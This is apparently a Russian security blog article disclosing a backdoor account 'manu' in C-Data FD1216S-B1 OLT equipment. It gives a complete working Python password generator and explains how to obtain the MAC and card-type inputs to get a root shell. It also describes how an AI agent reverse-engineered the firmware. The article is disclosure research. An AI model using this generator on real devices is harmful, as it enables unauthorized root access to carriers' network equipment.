В прошлых двух частях (1, 2) было рассказано про найденные с помощью ИИ уязвимости, бэкдоры и недокументированные возможности для свитчей SNR и Huawei. В этой части пойдёт речь о бэкдоре в оборудовании OLT C-Data - операторском оборудовании для подключения абонентов по технологии EPON/GPON. В начале статьи будет описан сам бэкдор, а затем рассказано об особенностях использования ИИ для его поиска.
Суть бэкдора: у оборудования C-Data FD1216S-B1 (CSM X001, HW version V1.1, FW version V1.6.0_250227) есть недокументированный пользователь manu. Его пароль зависит от MAC-адреса устройства и вычисляется как f(mac, card_type, seed), где seed - константа в коде. Схематично вычисление пароля выглядит следующим образом:
seed = 0xd38b6b35 K = xor_func(mac, card_type, seed) # 24 байта password = HMAC-SHA1_cdata(key=K, msg=mac)[:4]
Из интересного здесь то, что sha1_cdata это почти стандартный sha1, у которого изменен только IV (initialization vector).
Полный код генерации пароля (сгенерирован ИИ, работоспособность проверена автором):
manu_password.py
#!/usr/bin/env python3 """Минимальный расчёт пароля manu (CDATA OLT): пароль = первые 4 байта HMAC-SHA1 (key=out[24], msg=mac) в hex. SHA1 прошивочный: начальный IV задан в нестандартном порядке регистров [h0,h3,h2,h4,h1] вместо обычного [h0..h4]. Пример: python3 manu_password.py --card-type 0x01060702 E0:67:B3:61:40:F5 """ import argparse SEED = bytes([0x35, 0x6B, 0x8B, 0xD3]) # 0xd38b6b35 (LE) STATE_ORDER = [0, 3, 2, 4, 1] # h = [A, D, C, E, B] def sha1_fw(data: bytes) -> bytes: ml = len(data) * 8 msg = bytearray(data) + b'\x80' while len(msg) % 64 != 56: msg.append(0) msg += ml.to_bytes(8, 'big') std = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0] h = [std[i] for i in STATE_ORDER] for off in range(0, len(msg), 64): block = msg[off:off + 64] w = [int.from_bytes(block[i * 4:i * 4 + 4], 'big') for i in range(16)] for i in range(16, 80): v = w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16] w.append(((v << 1) | (v >> 31)) & 0xFFFFFFFF) a, b, c, d, e = h for i in range(80): if i < 20: f = (b & c) | (~b & d); k = 0x5A827999 elif i < 40: f = b ^ c ^ d; k = 0x6ED9EBA1 elif i < 60: f = (b & c) | (b & d) | (c & d); k = 0x8F1BBCDC else: f = b ^ c ^ d; k = 0xCA62C1D6 t = (((a << 5) | (a >> 27)) + f + e + k + w[i]) & 0xFFFFFFFF e, d, c, b, a = d, c, ((b << 30) | (b >> 2)) & 0xFFFFFFFF, a, t h = [(x + y) & 0xFFFFFFFF for x, y in zip(h, [a, b, c, d, e])] return b''.join(x.to_bytes(4, 'big') for x in h) def hmac_fw(key: bytes, data: bytes) -> bytes: key = key + b'\x00' * (64 - len(key)) return sha1_fw(bytes(x ^ 0x5c for x in key) + sha1_fw(bytes(x ^ 0x36 for x in key) + data)) def main() -> None: p = argparse.ArgumentParser(description='Пароль manu по card-type и MAC') p.add_argument('--card-type', type=lambda x: int(x, 0), required=True) p.add_argument('mac') a = p.parse_args() mac = bytes.fromhex(a.mac.replace(':', '').replace('-', '')) card = a.card_type.to_bytes(4, 'big') out = bytes([mac[j] ^ card[i] ^ SEED[i] for i in range(4) for j in range(6)]) print(hmac_fw(out, mac)[:4].hex()) if __name__ == '__main__': main()
Примечательно, что стандартные высокоуровневые API SHA-1 в Python, Go и Rust не позволяют задать произвольный IV. OpenSSL имеет функцию SHA1_Transform и с её помощью можно реализовать описанный выше алгоритм без реализации функции sha1_fw, но этот низкоуровневый API объявлен deprecated в 3.0.
Значение card-type можно получить из вывода команды show hwinfo в пользовательском CLI (взять первые 8 символов и добавить префикс 0x при передаче в скрипт manu_password.py). Для C-Data FD1216S-B1 X001 это значение равно 0x01060702 (для других OEM-кастомизаций той же модели оно может отличаться - например, для X000 равно 0x01060701). Значение MAC-адреса можно посмотреть через команду show device.
Что даёт бэкдор
При входе пользователем manu в CLI в enable-режиме появляется команда manufacture. Внутри этого режима доступны start-shell (доступ к root-шеллу Linux) и bcm-shell (Broadcom SoC SDK). Также появляется ряд других команд, например debug и encrypt-dbg в enable-режиме CLI.
Применимость бэкдора
Для того чтобы вычислить пароль пользователя manu нужно знать MAC-адрес и card-type.
MAC-адрес, который используется для вычисления пароля совпадает с MAC-адресом outband-интерфейса. MAC-адрес inband-интерфейса отличается на 1 (на OLT FD1216S-B1 X001). Узнать его можно несколькими способами:
посмотреть на наклейке на самой OLT;
посмотреть через web-интерфейс (в том числе с правами пользователя группы guest);
посмотреть через CLI (например, через команду
show device).
Для того чтобы узнать значение card-type нужно иметь доступ хотя бы на одно устройство такой же модели или извлечь это значение из прошивки путём реверс-инжиниринга. Количество этих значений сильно ограничено (по моей оценке, не более 100).
Подключаться пользователем manu можно через ssh, telnet и console-порт (автором проверены первые два варианта). Вход через web-интерфейс для пользователя manu заблокирован.
Анализ ряда некоторых других прошивок OLT C-Data указывает на то, что данный backdoor присутствует и на других моделях/версиях ПО, но настоящая проверка на OLT других моделей C-Data не производилась.
Особенности использования ИИ при поиске бэкдора
Для поиска бэкдора был использован подход, описанный в 1, использовался ZCode/GLM-5.2(max). У меня не было файла прошивки или дампа флеш-карты для FD1216S-B1 X001, поэтому пришлось анализировать максимально похожую, которую удалось найти в публичном доступе (здесь) (FD1216S-B1 X000). Что именно означает CSM X000 и X001 автору неизвестно, но предположительно это идентификатор OEM-кастомизации прошивки.
ИИ сразу же нашел скрытого пользователя manu, сразу же восстановил алгоритм генерации пароля, но пароль не подходил. Первая проблема была довольно очевидной: card-type у версии X000 отличался от X001. В коде скрипта генерации появилась константа 0x01060701; спросив у ИИ, как её посмотреть в CLI, стало понятно, что в опытном образце card-type равен 0x01060702, а не 0x01060701, как в исследуемой прошивке. Вторая проблема была несколько интереснее - ИИ пытался использовать стандартный hmac-sha1 вместо модифицированного варианта, т.е. идея минимальной модификации стандартного алгоритма сбила ИИ-агента. Далее, после сообщения ИИ, что пароль не подходит, было несколько попыток поиграться с big-endian/little-endian для входных и выходных данных. Это тоже не помогло. В конце концов ИИ-агент сдался и стал использовать angr symbolic execution и qemu, чтобы проверить, что его функции работают так же, как функции в прошивке. В результате он понял, что sha1 модифицированный (точнее, используется нестандартный IV). Можно было и не восстанавливать алгоритм на python - достаточно было обернуть несколько дизассемблированных функций в код на C/asm. Но это не очень удобно: в OLT используется arm32, и исполнять такие бинарники на современных ПК - нетривиальная задача. Подход был бы более системный, если бы сначала сделать генератор паролей на базе дизассемблированных функций (сделать обёртку над asm-функциями), проверить пароль на реальному устройстве и потом уже создавать скрипт на python или другом языке. Однако, эти указания не были даны ИИ-агенту, чтобы как можно меньше вмешиваться в его работу и наблюдать за тем как он справится (или не справится) самостоятельно.
В этот раз, в отличие от поиска Linux root shell на свитче huawei, ИИ-агент справился практически самостоятельно: автор статьи лишь просил “подумать ещё” и “попробовать другие варианты”. Возможно, это и не потребовалось бы при наличии доступа к оборудованию, который предоставлен не был.
P.S. В ходе анализа прошивки было найдено несколько кандидатов на уязвимости (или бэкдоры?), одно из которых проверено и подтверждено. В рамках этой статьи они опубликованы не будут, поскольку вендору ещё не была предоставлена возможность их устранить.

